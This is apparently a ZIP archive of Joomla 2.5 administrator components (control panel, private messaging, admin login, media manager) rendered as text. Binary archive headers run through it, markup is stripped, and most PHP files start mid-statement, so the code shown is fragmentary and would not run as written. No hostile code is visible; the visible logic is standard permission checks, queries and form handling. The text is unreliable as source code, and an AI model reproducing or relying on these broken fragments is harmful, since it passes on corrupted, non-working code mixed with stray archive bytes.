COM_CPANEL_XML_DESCRIPTION controller.php cpanel.php index.html views language/en-GB.com_cpanel.ini PK@y>\Тy components/com_cpanel/cpanel.phpnuW+Aexecute(JRequest::getCmd('task')); $controller->redirect(); PK@y>\V"components/com_messages/index.htmlnuW+A PK@y>\)!components/com_messages/.htaccessnuW+A Order allow,deny Deny from all PK@y>\8rr"components/com_messages/access.xmlnuW+A
      PK@y>\V/components/com_messages/helpers/html/index.htmlnuW+A PK@y>\\?1components/com_messages/helpers/html/messages.phpnuW+A array('trash.png', 'messages.unpublish', 'JTRASHED', 'COM_MESSAGES_MARK_AS_UNREAD'), 1 => array('tick.png', 'messages.unpublish', 'COM_MESSAGES_OPTION_READ', 'COM_MESSAGES_MARK_AS_UNREAD'), 0 => array('publish_x.png', 'messages.publish', 'COM_MESSAGES_OPTION_UNREAD', 'COM_MESSAGES_MARK_AS_READ') ); $state = JArrayHelper::getValue($states, (int) $value, $states[0]); $html = JHtml::_('image', 'admin/'.$state[0], JText::_($state[2]), NULL, true); if ($canChange) { $html = '' .$html.''; } return $html; } } PK@y>\).components/com_messages/helpers/html/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V*components/com_messages/helpers/index.htmlnuW+A PK@y>\oi[[,components/com_messages/helpers/messages.phpnuW+Aset($action->name, $user->authorise($action->name, 'com_messages')); } return $result; } /** * Get a list of filter options for the state of a module. * * @return array An array of JHtmlOption elements. */ static function getStateOptions() { // Build the filter options. $options = array(); $options[] = JHtml::_('select.option', '1', JText::_('COM_MESSAGES_OPTION_READ')); $options[] = JHtml::_('select.option', '0', JText::_('COM_MESSAGES_OPTION_UNREAD')); $options[] = JHtml::_('select.option', '-2', JText::_('JTRASHED')); return $options; } } PK@y>\))components/com_messages/helpers/.htaccessnuW+A Order allow,deny Deny from all PK@y>\Ycc"components/com_messages/config.xmlnuW+A
      PK@y>\)'components/com_messages/views/.htaccessnuW+A Order allow,deny Deny from all PK@y>\>ݒ3components/com_messages/views/message/tmpl/edit.phpnuW+A
      • form->getLabel('user_id_to'); ?> form->getInput('user_id_to'); ?>
      • form->getLabel('subject'); ?> form->getInput('subject'); ?>
      • form->getLabel('message'); ?> form->getInput('message'); ?>
      PK@y>\)4components/com_messages/views/message/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\YC6components/com_messages/views/message/tmpl/default.phpnuW+A
      • item->get('from_user_name');?>
      • item->date_time);?>
      • item->subject;?>
      • escape($this->item->message);?>
      PK@y>\V5components/com_messages/views/message/tmpl/index.htmlnuW+A PK@y>\V0components/com_messages/views/message/index.htmlnuW+A PK@y>\n]BQ3components/com_messages/views/message/view.html.phpnuW+Aform = $this->get('Form'); $this->item = $this->get('Item'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } parent::display($tpl); $this->addToolbar(); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { if ($this->getLayout() == 'edit') { JToolBarHelper::title(JText::_('COM_MESSAGES_WRITE_PRIVATE_MESSAGE'), 'new-privatemessage.png'); JToolBarHelper::save('message.save', 'COM_MESSAGES_TOOLBAR_SEND'); JToolBarHelper::cancel('message.cancel'); JToolBarHelper::help('JHELP_COMPONENTS_MESSAGING_WRITE'); } else { JToolBarHelper::title(JText::_('COM_MESSAGES_VIEW_PRIVATE_MESSAGE'), 'inbox.png'); $sender = JUser::getInstance($this->item->user_id_from); if ($sender->authorise('core.admin') || $sender->authorise('core.manage', 'com_messages') && $sender->authorise('core.login.admin')) { JToolBarHelper::custom('message.reply', 'restore.png', 'restore_f2.png', 'COM_MESSAGES_TOOLBAR_REPLY', false); } JToolBarHelper::cancel('message.cancel'); JToolBarHelper::help('JHELP_COMPONENTS_MESSAGING_READ'); } } } PK@y>\)/components/com_messages/views/message/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)5components/com_messages/views/messages/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\5y~7components/com_messages/views/messages/tmpl/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?>
      items as $i => $item) : $canChange = $user->authorise('core.edit.state', 'com_messages'); ?>
      pagination->getListFooter(); ?>
      message_id); ?> escape($item->subject); ?> state, $i, $canChange); ?> user_from; ?> date_time, JText::_('DATE_FORMAT_LC2')); ?>
      PK@y>\V6components/com_messages/views/messages/tmpl/index.htmlnuW+A PK@y>\(? 4components/com_messages/views/messages/view.html.phpnuW+Aitems = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } parent::display($tpl); $this->addToolbar(); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { $state = $this->get('State'); $canDo = MessagesHelper::getActions(); JToolBarHelper::title(JText::_('COM_MESSAGES_MANAGER_MESSAGES'), 'inbox.png'); if ($canDo->get('core.create')) { JToolBarHelper::addNew('message.add'); } if ($canDo->get('core.edit.state')) { JToolBarHelper::divider(); JToolBarHelper::publish('messages.publish', 'COM_MESSAGES_TOOLBAR_MARK_AS_READ'); JToolBarHelper::unpublish('messages.unpublish', 'COM_MESSAGES_TOOLBAR_MARK_AS_UNREAD'); } if ($state->get('filter.state') == -2 && $canDo->get('core.delete')) { JToolBarHelper::divider(); JToolBarHelper::deleteList('', 'messages.delete', 'JTOOLBAR_EMPTY_TRASH'); } elseif ($canDo->get('core.edit.state')) { JToolBarHelper::divider(); JToolBarHelper::trash('messages.trash'); } //JToolBarHelper::addNew('module.add'); JToolBarHelper::divider(); $bar = JToolBar::getInstance('toolbar'); $bar->appendButton('Popup', 'options', 'COM_MESSAGES_TOOLBAR_MY_SETTINGS', 'index.php?option=com_messages&view=config&tmpl=component', 850, 400); if ($canDo->get('core.admin')) { JToolBarHelper::preferences('com_messages'); } JToolBarHelper::divider(); JToolBarHelper::help('JHELP_COMPONENTS_MESSAGING_INBOX'); } } PK@y>\)0components/com_messages/views/messages/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V1components/com_messages/views/messages/index.htmlnuW+A PK@y>\V/components/com_messages/views/config/index.htmlnuW+A PK@y>\)3components/com_messages/views/config/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\335components/com_messages/views/config/tmpl/default.phpnuW+A
      • form->getLabel('lock'); ?> form->getInput('lock'); ?>
      • form->getLabel('mail_on_new'); ?> form->getInput('mail_on_new'); ?>
      • form->getLabel('auto_purge'); ?> form->getInput('auto_purge'); ?>
      PK@y>\V4components/com_messages/views/config/tmpl/index.htmlnuW+A PK@y>\7ee2components/com_messages/views/config/view.html.phpnuW+Aform = $this->get('Form'); $this->item = $this->get('Item'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } // Bind the record to the form. $this->form->bind($this->item); parent::display($tpl); } } PK@y>\).components/com_messages/views/config/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V(components/com_messages/views/index.htmlnuW+A PK@y>\t&components/com_messages/controller.phpnuW+AcheckEditId('com_messages.edit.message', $id)) { // Somehow the person just went to the form - we don't allow that. $this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id)); $this->setMessage($this->getError(), 'error'); $this->setRedirect(JRoute::_('index.php?option=com_messages&view=messages', false)); return false; } parent::display(); // Load the submenu. MessagesHelper::addSubmenu(JRequest::getCmd('view', 'messages')); } } PK@y>\= +components/com_messages/models/messages.phpnuW+AgetUserStateFromRequest($this->context.'.filter.search', 'filter_search'); $this->setState('filter.search', $search); $state = $this->getUserStateFromRequest($this->context.'.filter.state', 'filter_state', '', 'string'); $this->setState('filter.state', $state); // List state information. parent::populateState('a.date_time', 'desc'); } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string A prefix for the store id. * * @return string A store id. */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':'.$this->getState('filter.search'); $id .= ':'.$this->getState('filter.state'); return parent::getStoreId($id); } /** * Build an SQL query to load the list data. * * @return JDatabaseQuery */ protected function getListQuery() { // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true); $user = JFactory::getUser(); // Select the required fields from the table. $query->select( $this->getState( 'list.select', 'a.*, '. 'u.name AS user_from' ) ); $query->from('#__messages AS a'); // Join over the users for message owner. $query->join('INNER', '#__users AS u ON u.id = a.user_id_from'); $query->where('a.user_id_to = '.(int) $user->get('id')); // Filter by published state. $state = $this->getState('filter.state'); if (is_numeric($state)) { $query->where('a.state = '.(int) $state); } elseif ($state === '') { $query->where('(a.state IN (0, 1))'); } // Filter by search in subject or message. $search = $this->getState('filter.search'); if (!empty($search)) { $search = $db->Quote('%'.$db->escape($search, true).'%', false); $query->where('a.subject LIKE '.$search.' OR a.message LIKE '.$search); } // Add the list ordering clause. $query->order($db->escape($this->getState('list.ordering', 'a.date_time')).' '.$db->escape($this->getState('list.direction', 'DESC'))); //echo nl2br(str_replace('#__','jos_',$query)); return $query; } } PK@y>\ȳoo0components/com_messages/models/forms/message.xmlnuW+A
      PK@y>\V/components/com_messages/models/forms/index.htmlnuW+A PK@y>\).components/com_messages/models/forms/.htaccessnuW+A Order allow,deny Deny from all PK@y>\O/components/com_messages/models/forms/config.xmlnuW+A
      PK@y>\DT6components/com_messages/models/fields/usermessages.phpnuW+AgetQuery(true); $query->select('id'); $query->from('#__usergroups'); $db->setQuery($query); $groups = $db->loadColumn(); // Check for a database error. if ($db->getErrorNum()) { JError::raiseNotice(500, $db->getErrorMsg()); return null; } foreach ($groups as $i=>$group) { if (JAccess::checkGroup($group, 'core.admin')) { continue; } if (!JAccess::checkGroup($group, 'core.manage', 'com_messages')) { unset($groups[$i]); continue; } if (!JAccess::checkGroup($group, 'core.login.admin')) { unset($groups[$i]); continue; } } return array_values($groups); } /** * Method to get the users to exclude from the list of users * * @return array|null array of users to exclude or null to to not exclude them * @since 1.6 */ protected function getExcluded() { return array(JFactory::getUser()->id); } } PK@y>\V0components/com_messages/models/fields/index.htmlnuW+A PK@y>\)/components/com_messages/models/fields/.htaccessnuW+A Order allow,deny Deny from all PK@y>\3*components/com_messages/models/message.phpnuW+AsetState('user.id', $user->get('id')); $messageId = (int) JRequest::getInt('message_id'); $this->setState('message.id', $messageId); $replyId = (int) JRequest::getInt('reply_id'); $this->setState('reply.id', $replyId); } /** * Check that recipient user is the one trying to delete and then call parent delete method * * @param array &$pks An array of record primary keys. * * @return boolean True if successful, false if an error occurs. * * @since 3.1 */ public function delete(&$pks) { $pks = (array) $pks; $table = $this->getTable(); $user = JFactory::getUser(); // Iterate the items to delete each one. foreach ($pks as $i => $pk) { if ($table->load($pk)) { if ($table->user_id_to !== $user->id) { // Prune items that you can't change. unset($pks[$i]); JError::raiseWarning(403, JText::_('JLIB_APPLICATION_ERROR_DELETE_NOT_PERMITTED')); return false; } } else { $this->setError($table->getError()); return false; } } return parent::delete($pks); } /** * Returns a Table object, always creating it. * * @param type The table type to instantiate * @param string A prefix for the table class name. Optional. * @param array Configuration array for model. Optional. * @return JTable A database object * @since 1.6 */ public function getTable($type = 'Message', $prefix = 'MessagesTable', $config = array()) { return JTable::getInstance($type, $prefix, $config); } /** * Method to get a single record. * * @param integer The id of the primary key. * @return mixed Object on success, false on failure. * @since 1.6 */ public function getItem($pk = null) { if (!isset($this->item)) { if ($this->item = parent::getItem($pk)) { // Prime required properties. if (empty($this->item->message_id)) { // Prepare data for a new record. if ($replyId = $this->getState('reply.id')) { // If replying to a message, preload some data. $db = $this->getDbo(); $query = $db->getQuery(true); $query->select('subject, user_id_from'); $query->from('#__messages'); $query->where('message_id = '.(int) $replyId); $message = $db->setQuery($query)->loadObject(); if ($error = $db->getErrorMsg()) { $this->setError($error); return false; } $this->item->set('user_id_to', $message->user_id_from); $re = JText::_('COM_MESSAGES_RE'); if (stripos($message->subject, $re) !== 0) { $this->item->set('subject', $re.$message->subject); } } } elseif ($this->item->user_id_to != JFactory::getUser()->id) { $this->setError(JText::_('JERROR_ALERTNOAUTHOR')); return false; } else { // Mark message read $db = $this->getDbo(); $query = $db->getQuery(true); $query->update('#__messages'); $query->set('state = 1'); $query->where('message_id = '.$this->item->message_id); $db->setQuery($query)->query(); } } // Get the user name for an existing messasge. if ($this->item->user_id_from && $fromUser = new JUser($this->item->user_id_from)) { $this->item->set('from_user_name', $fromUser->name); } } return $this->item; } /** * Method to get the record form. * * @param array $data Data for the form. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * @return JForm A JForm object on success, false on failure * @since 1.6 */ public function getForm($data = array(), $loadData = true) { // Get the form. $form = $this->loadForm('com_messages.message', 'message', array('control' => 'jform', 'load_data' => $loadData)); if (empty($form)) { return false; } return $form; } /** * Method to get the data that should be injected in the form. * * @return mixed The data for the form. * @since 1.6 */ protected function loadFormData() { // Check the session for previously entered form data. $data = JFactory::getApplication()->getUserState('com_messages.edit.message.data', array()); if (empty($data)) { $data = $this->getItem(); } return $data; } /** * Checks that the current user matches the message recipient and calls the parent publish method * * @param array &$pks A list of the primary keys to change. * @param integer $value The value of the published state. * * @return boolean True on success. * * @since 3.1 */ public function publish(&$pks, $value = 1) { $user = JFactory::getUser(); $table = $this->getTable(); $pks = (array) $pks; // Check that the recipient matches the current user foreach ($pks as $i => $pk) { $table->reset(); if ($table->load($pk)) { if ($table->user_id_to !== $user->id) { // Prune items that you can't change. unset($pks[$i]); JError::raiseWarning(403, JText::_('JLIB_APPLICATION_ERROR_EDITSTATE_NOT_PERMITTED')); return false; } } } return parent::publish($pks, $value); } /** * Method to save the form data. * * @param array The form data. * * @return boolean True on success. */ public function save($data) { $table = $this->getTable(); // Bind the data. if (!$table->bind($data)) { $this->setError($table->getError()); return false; } // Assign empty values. if (empty($table->user_id_from)) { $table->user_id_from = JFactory::getUser()->get('id'); } if (intval($table->date_time) == 0) { $table->date_time = JFactory::getDate()->toSql(); } // Check the data. if (!$table->check()) { $this->setError($table->getError()); return false; } // Load the recipient user configuration. $model = JModelLegacy::getInstance('Config', 'MessagesModel', array('ignore_request' => true)); $model->setState('user.id', $table->user_id_to); $config = $model->getItem(); if (empty($config)) { $this->setError($model->getError()); return false; } if ($config->get('locked', false)) { $this->setError(JText::_('COM_MESSAGES_ERR_SEND_FAILED')); return false; } // Store the data. if (!$table->store()) { $this->setError($table->getError()); return false; } if ($config->get('mail_on_new', true)) { // Load the user details (already valid from table check). $fromUser = JUser::getInstance($table->user_id_from); $toUser = JUser::getInstance($table->user_id_to); $debug = JFactory::getConfig()->get('debug_lang'); $default_language = JComponentHelper::getParams('com_languages')->get('administrator'); $lang = JLanguage::getInstance($toUser->getParam('admin_language', $default_language), $debug); $lang->load('com_messages', JPATH_ADMINISTRATOR); $siteURL = JURI::root() . 'administrator/index.php?option=com_messages&view=message&message_id='.$table->message_id; $sitename = JFactory::getApplication()->getCfg('sitename'); $subject = sprintf ($lang->_('COM_MESSAGES_NEW_MESSAGE_ARRIVED'), $sitename); $msg = sprintf ($lang->_('COM_MESSAGES_PLEASE_LOGIN'), $siteURL); JFactory::getMailer()->sendMail($fromUser->email, $fromUser->name, $toUser->email, $subject, $msg); } return true; } } PK@y>\)(components/com_messages/models/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V)components/com_messages/models/index.htmlnuW+A PK@y>\ )components/com_messages/models/config.phpnuW+AsetState('user.id', $user->get('id')); // Load the parameters. $params = JComponentHelper::getParams('com_messages'); $this->setState('params', $params); } /** * Method to get a single record. * * @param integer The id of the primary key. * * @return mixed Object on success, false on failure. */ public function &getItem() { // Initialise variables. $item = new JObject; $db = $this->getDbo(); $query = $db->getQuery(true); $query->select('cfg_name, cfg_value'); $query->from('#__messages_cfg'); $query->where('user_id = '.(int) $this->getState('user.id')); $db->setQuery($query); $rows = $db->loadObjectList(); if ($error = $db->getErrorMsg()) { $this->setError($error); return false; } foreach ($rows as $row) { $item->set($row->cfg_name, $row->cfg_value); } return $item; } /** * Method to get the record form. * * @param array $data Data for the form. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * @return JForm A JForm object on success, false on failure * @since 1.6 */ public function getForm($data = array(), $loadData = true) { // Get the form. $form = $this->loadForm('com_messages.config', 'config', array('control' => 'jform', 'load_data' => $loadData)); if (empty($form)) { return false; } return $form; } /** * Method to save the form data. * * @param array The form data. * @return boolean True on success. */ public function save($data) { $db = $this->getDbo(); if ($userId = (int) $this->getState('user.id')) { $db->setQuery( 'DELETE FROM #__messages_cfg'. ' WHERE user_id = '. $userId ); $db->query(); if ($error = $db->getErrorMsg()) { $this->setError($error); return false; } $tuples = array(); foreach ($data as $k => $v) { $tuples[] = '('.$userId.', '.$db->Quote($k).', '.$db->Quote($v).')'; } if ($tuples) { $db->setQuery( 'INSERT INTO #__messages_cfg'. ' (user_id, cfg_name, cfg_value)'. ' VALUES '.implode(',', $tuples) ); $db->query(); if ($error = $db->getErrorMsg()) { $this->setError($error); return false; } } return true; } else { $this->setError('COM_MESSAGES_ERR_INVALID_USER'); return false; } } } PK@y>\"E/components/com_messages/controllers/message.phpnuW+AsetRedirect('index.php?option=com_messages&view=message&layout=edit&reply_id='.$replyId); } else { $this->setMessage(JText::_('COM_MESSAGES_INVALID_REPLY_ID')); $this->setRedirect('index.php?option=com_messages&view=messages'); } } } PK@y>\)-components/com_messages/controllers/.htaccessnuW+A Order allow,deny Deny from all PK@y>\W֙0components/com_messages/controllers/messages.phpnuW+A true)) { $model = parent::getModel($name, $prefix, $config); return $model; } } PK@y>\x:.components/com_messages/controllers/config.phpnuW+AgetModel('Config', 'MessagesModel'); $data = JRequest::getVar('jform', array(), 'post', 'array'); // Validate the posted data. $form = $model->getForm(); if (!$form) { JError::raiseError(500, $model->getError()); return false; } $data = $model->validate($form, $data); // Check for validation errors. if ($data === false) { // Get the validation messages. $errors = $model->getErrors(); // Push up to three validation messages out to the user. for ($i = 0, $n = count($errors); $i < $n && $i < 3; $i++) { if ($errors[$i] instanceof Exception) { $app->enqueueMessage($errors[$i]->getMessage(), 'warning'); } else { $app->enqueueMessage($errors[$i], 'warning'); } } // Redirect back to the main list. $this->setRedirect(JRoute::_('index.php?option=com_messages&view=messages', false)); return false; } // Attempt to save the data. if (!$model->save($data)) { // Redirect back to the main list. $this->setMessage(JText::sprintf('JERROR_SAVE_FAILED', $model->getError()), 'warning'); $this->setRedirect(JRoute::_('index.php?option=com_messages&view=messages', false)); return false; } // Redirect to the list screen. $this->setMessage(JText::_('COM_MESSAGES_CONFIG_SAVED')); $this->setRedirect(JRoute::_('index.php?option=com_messages&view=messages', false)); return true; } } PK@y>\V.components/com_messages/controllers/index.htmlnuW+A PK@y>\)(components/com_messages/tables/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V)components/com_messages/tables/index.htmlnuW+A PK@y>\j5 5 *components/com_messages/tables/message.phpnuW+Auser_id_from); if (empty($user->id)) { $this->setError(JText::_('COM_MESSAGES_ERROR_INVALID_FROM_USER')); return false; } $user = new JUser($this->user_id_to); if (empty($user->id)) { $this->setError(JText::_('COM_MESSAGES_ERROR_INVALID_TO_USER')); return false; } if (empty($this->subject)) { $this->setError(JText::_('COM_MESSAGES_ERROR_INVALID_SUBJECT')); return false; } if (empty($this->message)) { $this->setError(JText::_('COM_MESSAGES_ERROR_INVALID_MESSAGE')); return false; } return true; } /** * Method to set the publishing state for a row or list of rows in the database * table. The method respects checked out rows by other users and will attempt * to checkin rows that it can after adjustments are made. * * @param mixed An optional array of primary key values to update. If not * set the instance property value is used. * @param integer The publishing state. eg. [0 = unpublished, 1 = published] * @param integer The user id of the user performing the operation. * @return boolean True on success. * @since 1.6 */ public function publish($pks = null, $state = 1, $userId = 0) { // Initialise variables. $k = $this->_tbl_key; // Sanitize input. JArrayHelper::toInteger($pks); $userId = (int) $userId; $state = (int) $state; // If there are no primary keys set check to see if the instance key is set. if (empty($pks)) { if ($this->$k) { $pks = array($this->$k); } // Nothing to set publishing state on, return false. else { $this->setError(JText::_('JLIB_DATABASE_ERROR_NO_ROWS_SELECTED')); return false; } } // Build the WHERE clause for the primary keys. $where = $k.' IN ('.implode(',', $pks).')'; // Update the publishing state for rows with the given primary keys. $this->_db->setQuery( 'UPDATE '.$this->_db->quoteName($this->_tbl). ' SET '.$this->_db->quoteName('state').' = '.(int) $state . ' WHERE ('.$where.')' ); $this->_db->query(); // Check for a database error. if ($this->_db->getErrorNum()) { $this->setError($this->_db->getErrorMsg()); return false; } // If the JTable instance value is in the list of primary keys that were set, set the instance. if (in_array($this->$k, $pks)) { $this->state = $state; } $this->setError(''); return true; } } PK@y>\P=--$components/com_messages/messages.phpnuW+Aauthorise('core.manage', 'com_messages')) { return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR')); } $controller = JControllerLegacy::getInstance('Messages'); $controller->execute(JRequest::getCmd('task')); $controller->redirect(); PK@y>\-$components/com_messages/messages.xmlnuW+A com_messages Joomla! Project April 2006 (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 COM_MESSAGES_XML_DESCRIPTION config.xml controller.php index.html messages.php controllers helpers models tables views language/en-GB.com_messages.ini PK@y>\12#components/com_login/controller.phpnuW+AgetModel('login'); $credentials = $model->getState('credentials'); $return = $model->getState('return'); $result = $app->login($credentials, array('action' => 'core.login.admin')); if (!($result instanceof Exception)) { $app->redirect($return); } parent::display(); } /** * Method to log out a user. * * @return void */ public function logout() { JSession::checkToken('request') or jexit(JText::_('JInvalid_Token')); $app = JFactory::getApplication(); $userid = JRequest::getInt('uid', null); $options = array( 'clientid' => ($userid) ? 0 : 1 ); $result = $app->logout($userid, $options); if (!($result instanceof Exception)) { $model = $this->getModel('login'); $return = $model->getState('return'); $app->redirect($return); } parent::display(); } } PK@y>\?yycomponents/com_login/login.xmlnuW+A com_login Joomla! Project April 2006 (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 COM_LOGIN_XML_DESCRIPTION controller.php index.html login.php views models language/en-GB.com_login.ini PK@y>\r-components/com_login/login.phpnuW+Aexecute($task); $controller->redirect(); PK@y>\)*components/com_login/views/login/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V+components/com_login/views/login/index.htmlnuW+A PK@y>\Z@gg.components/com_login/views/login/view.html.phpnuW+A\L)1components/com_login/views/login/tmpl/default.phpnuW+A 'rounded', 'id' => 'section-box')); //Get any other modules in the login position. //If you want to use a different position for the modules, change the name here in your override. $modules = JModuleHelper::getModules('login'); foreach ($modules as $module) // Render the login modules if ($module->module != 'mod_login'){ echo JModuleHelper::renderModule($module, array('style' => 'rounded', 'id' => 'section-box')); } PK@y>\V0components/com_login/views/login/tmpl/index.htmlnuW+A PK@y>\)/components/com_login/views/login/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)$components/com_login/views/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V%components/com_login/views/index.htmlnuW+A PK@y>\)%components/com_login/models/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V&components/com_login/models/index.htmlnuW+A PK@y>\Cam@@%components/com_login/models/login.phpnuW+A JRequest::getVar('username', '', 'method', 'username'), 'password' => JRequest::getVar('passwd', '', 'post', 'string', JREQUEST_ALLOWRAW) ); $this->setState('credentials', $credentials); // check for return URL from the request first if ($return = JRequest::getVar('return', '', 'method', 'base64')) { $return = base64_decode($return); if (!JURI::isInternal($return)) { $return = ''; } } // Set the return URL if empty. if (empty($return)) { $return = 'index.php'; } $this->setState('return', $return); } /** * Get the administrator login module by name (real, eg 'login' or folder, eg 'mod_login') * * @param string $name The name of the module * @param string $title The title of the module, optional * * @return object The Module object * * @since 11.1 */ public static function getLoginModule($name = 'mod_login', $title = null) { $result = null; $modules = LoginModelLogin::_load($name); $total = count($modules); for ($i = 0; $i < $total; $i++) { // Match the title if we're looking for a specific instance of the module if (!$title || $modules[$i]->title == $title) { $result = $modules[$i]; break; // Found it } } // If we didn't find it, and the name is mod_something, create a dummy object if (is_null($result) && substr($name, 0, 4) == 'mod_') { $result = new stdClass; $result->id = 0; $result->title = ''; $result->module = $name; $result->position = ''; $result->content = ''; $result->showtitle = 0; $result->control = ''; $result->params = ''; $result->user = 0; } return $result; } /** * Load login modules. * * Note that we load regardless of state or access level since access * for public is the only thing that makes sense since users are not logged in * and the module lets them log in. * This is put in as a failsafe to avoid super user lock out caused by an unpublished * login module or by a module set to have a viewing access level that is not Public. * * @param string $name The name of the module * * @return array * * @since 11.1 */ protected static function _load($module) { static $clean; if (isset($clean)) { return $clean; } $app = JFactory::getApplication(); $lang = JFactory::getLanguage()->getTag(); $clientId = (int) $app->getClientId(); $cache = JFactory::getCache ('com_modules', ''); $cacheid = md5(serialize(array( $clientId, $lang))); $loginmodule = array(); if (!($clean = $cache->get($cacheid))) { $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('m.id, m.title, m.module, m.position, m.showtitle, m.params'); $query->from('#__modules AS m'); $query->where('m.module =' . $db->Quote($module) .' AND m.client_id = 1'); $query->join('LEFT', '#__extensions AS e ON e.element = m.module AND e.client_id = m.client_id'); $query->where('e.enabled = 1'); // Filter by language if ($app->isSite() && $app->getLanguageFilter()) { $query->where('m.language IN (' . $db->Quote($lang) . ',' . $db->Quote('*') . ')'); } $query->order('m.position, m.ordering'); // Set the query $db->setQuery($query); $modules = $db->loadObjectList(); if ($db->getErrorNum()){ JError::raiseWarning(500, JText::sprintf('JLIB_APPLICATION_ERROR_MODULE_LOAD', $db->getErrorMsg())); return $loginmodule; } // Return to simple indexing that matches the query order. $loginmodule = $modules; $cache->store($loginmodule, $cacheid); } return $loginmodule; } } PK@y>\)components/com_login/.htaccessnuW+A Order allow,deny Deny from all PK@y>\Vcomponents/com_login/index.htmlnuW+A PK@y>\Vcomponents/com_media/index.htmlnuW+A PK@y>\V%components/com_media/views/index.htmlnuW+A PK@y>\)*components/com_media/views/media/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V0components/com_media/views/media/tmpl/index.htmlnuW+A PK@y>\|(9components/com_media/views/media/tmpl/default_folders.phpnuW+A
        folders_id; ?>> folders['children'] as $folder) : ?>
      • name; ?>getFolderLevel($folder); ?>
      PK@y>\)/components/com_media/views/media/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\%<components/com_media/views/media/tmpl/default_navigation.phpnuW+AgetUserStateFromRequest('media.list.layout', 'layout', 'thumbs', 'word'); ?> PK@y>\SCC1components/com_media/views/media/tmpl/default.phpnuW+A
      loadTemplate('folders'); ?>
      authorise('core.create', 'com_media')) and $this->require_ftp): ?>
      authorise('core.create', 'com_media')): ?>
      authorise('core.create', 'com_media')):?>
      config->get('upload_maxsize')=='0' ? JText::_('COM_MEDIA_UPLOAD_FILES_NOLIMIT') : JText::sprintf('COM_MEDIA_UPLOAD_FILES', $this->config->get('upload_maxsize')); ?>
      PK@y>\q .components/com_media/views/media/view.html.phpnuW+AgetUserStateFromRequest('media.list.layout', 'layout', 'thumbs', 'word'); $document = JFactory::getDocument(); $document->setBuffer($this->loadTemplate('navigation'), 'modules', 'submenu'); JHtml::_('behavior.framework', true); JHtml::_('script', 'media/mediamanager.js', true, true); JHtml::_('stylesheet', 'media/mediamanager.css', array(), true); if ($lang->isRTL()) : JHtml::_('stylesheet', 'media/mediamanager_rtl.css', array(), true); endif; JHtml::_('behavior.modal'); $document->addScriptDeclaration(" window.addEvent('domready', function() { document.preview = SqueezeBox; });"); JHtml::_('script', 'system/mootree.js', true, true, false, false); JHtml::_('stylesheet', 'system/mootree.css', array(), true); if ($lang->isRTL()) : JHtml::_('stylesheet', 'media/mootree_rtl.css', array(), true); endif; if (DIRECTORY_SEPARATOR == '\\') { $base = str_replace(DIRECTORY_SEPARATOR, "\\\\", COM_MEDIA_BASE); } else { $base = COM_MEDIA_BASE; } $js = " var basepath = '".$base."'; var viewstyle = '".$style."'; " ; $document->addScriptDeclaration($js); /* * Display form for FTP credentials? * Don't set them here, as there are other functions called before this one if there is any file write operation */ $ftp = !JClientHelper::hasCredentials('ftp'); $session = JFactory::getSession(); $state = $this->get('state'); $this->assignRef('session', $session); $this->assignRef('config', $config); $this->assignRef('state', $state); $this->require_ftp = $ftp; $this->folders_id = ' id="media-tree"'; $this->folders = $this->get('folderTree'); // Set the toolbar $this->addToolbar(); parent::display($tpl); echo JHtml::_('behavior.keepalive'); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { // Get the toolbar object instance $bar = JToolBar::getInstance('toolbar'); $user = JFactory::getUser(); // Set the titlebar text JToolBarHelper::title(JText::_('COM_MEDIA'), 'mediamanager.png'); // Add a delete button if ($user->authorise('core.delete', 'com_media')) { $title = JText::_('JTOOLBAR_DELETE'); $dhtml = " $title"; $bar->appendButton('Custom', $dhtml, 'delete'); JToolBarHelper::divider(); } // Add a delete button if ($user->authorise('core.admin', 'com_media')) { JToolBarHelper::preferences('com_media', 450, 800, 'JToolbar_Options', '', 'window.location.reload()'); JToolBarHelper::divider(); } JToolBarHelper::help('JHELP_CONTENT_MEDIA_MANAGER'); } function getFolderLevel($folder) { $this->folders_id = null; $txt = null; if (isset($folder['children']) && count($folder['children'])) { $tmp = $this->folders; $this->folders = $folder; $txt = $this->loadTemplate('folders'); $this->folders = $tmp; } return $txt; } } PK@y>\V+components/com_media/views/media/index.htmlnuW+A PK@y>\V1components/com_media/views/images/tmpl/index.htmlnuW+A PK@y>\@2components/com_media/views/images/tmpl/default.phpnuW+A
      folderList; ?>
      state->get('field.id')):?> state->get('field.id')):?>
